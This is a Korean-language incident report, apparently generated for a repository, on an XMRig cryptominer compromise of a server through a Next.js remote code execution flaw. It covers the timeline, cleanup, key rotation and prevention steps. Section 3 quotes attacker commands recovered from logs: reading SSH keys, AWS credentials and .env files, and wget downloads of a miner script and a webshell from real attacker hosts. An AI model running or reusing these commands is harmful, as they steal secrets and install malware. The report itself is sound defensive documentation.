Files
AutonetSellCar/SECURITY_INCIDENT_REPORT.md

5.8 KiB

Server3 보안 사고 조사 보고서

작성일: 2026-01-02 작성자: Claude Code 대상 서버: Server3 (192.168.0.203)


1. 사고 개요

1.1 발견된 공격

Server3에서 암호화폐 채굴 악성코드(XMRig)가 발견됨.

1.2 침해 원인

항목 내용
취약 소프트웨어 Next.js 16.0.5 (grantech-frontend)
취약점 React Flight Protocol RCE
CVE GHSA-9qr9-h5gf-34mp
심각도 Critical

1.3 공격 방식

해커가 Next.js App Router로 악성 직렬화 데이터 전송
    ↓
React Flight Protocol이 데이터 역직렬화 (검증 부족)
    ↓
서버에서 임의 코드 실행 (RCE)
    ↓
wget으로 채굴기 다운로드 및 설치

2. 공격 타임라인

날짜 이벤트
2025-12-10 최초 공격 시도 (웹쉘 업로드 시도)
2025-12-23 XMRig 채굴기 설치
2025-12-31 채굴기 재설치 시도
2026-01-02 침해 발견 및 조치 완료

3. 해커가 실행한 명령어

PM2 로그에서 발견된 공격 명령어:

공격 유형 명령어 목적
SSH 키 탈취 cat ~/.ssh/id_rsa | base64 다른 서버 침투용
AWS 자격증명 탈취 cat ~/.aws/credentials | base64 클라우드 리소스 접근
환경변수 탈취 cat .env, cat ../.env API 키, 비밀키 탈취
채굴기 설치 wget https://72.62.72.248/.../immunify360firewall3.sh 암호화폐 채굴
웹쉘 업로드 wget -O public_html/Nx.php https://www.cmer.site/uploads/Nx.php 백도어 설치 (실패)

4. 발견된 악성 파일

4.1 채굴기 파일 (/dev/shm/.cache/)

파일명 크기 설명
xmrig 8MB XMRig 채굴기 바이너리
kworker-xfs 8MB 커널 프로세스로 위장한 채굴기
config.json 1KB 채굴 풀 설정 (moneroocean.stream)
miner 18KB 채굴기 실행 스크립트

4.2 추가 악성 파일

경로 설명
/dev/shm/.x/m 7MB 채굴기 바이너리
/tmp/immunify360firewall.sh 채굴기 설치 스크립트
~/immunify360firewall/ 채굴기 설치 폴더 (삭제됨)

5. 조치 내역

5.1 즉시 조치 (2026-01-02)

순서 조치 상태
1 grantech-frontend PM2 중지 완료
2 채굴기 프로세스 종료 완료
3 SSH 백도어 키 삭제 완료
4 systemd user 서비스 삭제 완료
5 ~/immunify360firewall/ 폴더 삭제 완료

5.2 취약점 패치

조치 내용
Next.js 업데이트 16.0.5 → 16.1.1
npm audit 결과 0 vulnerabilities
애플리케이션 재빌드 완료

5.3 인증정보 교체

항목 조치
SSH 키 (Server4) 재생성 (damon@autonetdamon@server4)
Server1 authorized_keys 새 키 등록, 구 키 제거
Server2 authorized_keys 새 키 등록, 구 키 제거
Server3 authorized_keys 새 키 등록, 구 키 제거
Backend SECRET_KEY 재생성 완료

5.4 잔존 파일 정리 (재점검 시)

경로 조치
/dev/shm/.cache/ 전체 삭제
/dev/shm/.x/ 전체 삭제
/tmp/miner.log 삭제
/tmp/xmrig.log 삭제
/tmp/immunify360firewall.sh 삭제

6. 영향 범위 분석

6.1 서버별 영향

서버 IP 영향 비고
Server1 192.168.0.201 없음 Next.js 미사용
Server2 192.168.0.202 없음 Next.js 14.1.0 (취약 범위 외)
Server3 192.168.0.203 🔴 침해됨 Next.js 16.0.5 → 패치 완료
Server4 개발서버 없음 Windows, SSH 키 재생성

6.2 취약 버전 범위

Next.js 14.3.0-canary.77 ~ 16.0.6 (취약)
Next.js 14.1.0 (Server2) - 안전
Next.js 16.1.1+ (Server3 패치 후) - 안전

7. 공격자 인프라

도메인/IP 용도
72.62.72.248 채굴기 스크립트 배포 서버
www.cmer.site 웹쉘 배포 서버
0x0.st 파일 공유 (악성코드 호스팅)
moneroocean.stream Monero 채굴 풀

8. 재발 방지 대책

8.1 구현 완료

대책 파일
npm audit 스크립트 scripts/security-audit.sh
Git pre-push hook scripts/git-hooks/pre-push
주간 보안 점검 scripts/weekly-security-check.sh
package.json audit 명령 npm run audit, npm run audit:fix

8.2 권장 사항

  1. 패키지 자동 업데이트

    • GitHub 사용 시 Dependabot 활성화
    • 또는 Renovate Bot 설정
  2. 정기 보안 점검

    # 주간 cron 설정 (Server2)
    0 9 * * 1 /opt/autonet/scripts/weekly-security-check.sh
    
  3. 네트워크 보안

    • 외부 노출 포트 최소화
    • 방화벽 규칙 강화
  4. 모니터링

    • CPU 사용량 이상 알림 설정
    • 의심스러운 프로세스 모니터링

9. 교훈

  1. 프레임워크 취약점 주의: Node.js 자체가 아닌 Next.js 프레임워크의 취약점이 원인
  2. 정기 업데이트 필수: npm audit를 정기적으로 실행
  3. 다중 서버 점검: 한 서버 침해 시 연결된 모든 서버 점검 필요
  4. 인증정보 교체: 침해 후 모든 키/비밀번호 교체 필수

10. 최종 상태

항목 상태
채굴기 제거 완료
취약점 패치 완료
SSH 키 교체 완료
SECRET_KEY 교체 완료
서비스 정상화 완료
보안 자동화 설정 완료

결론: Server3 보안 사고는 완전히 조치되었으며, 재발 방지를 위한 자동화 시스템이 구축되었습니다.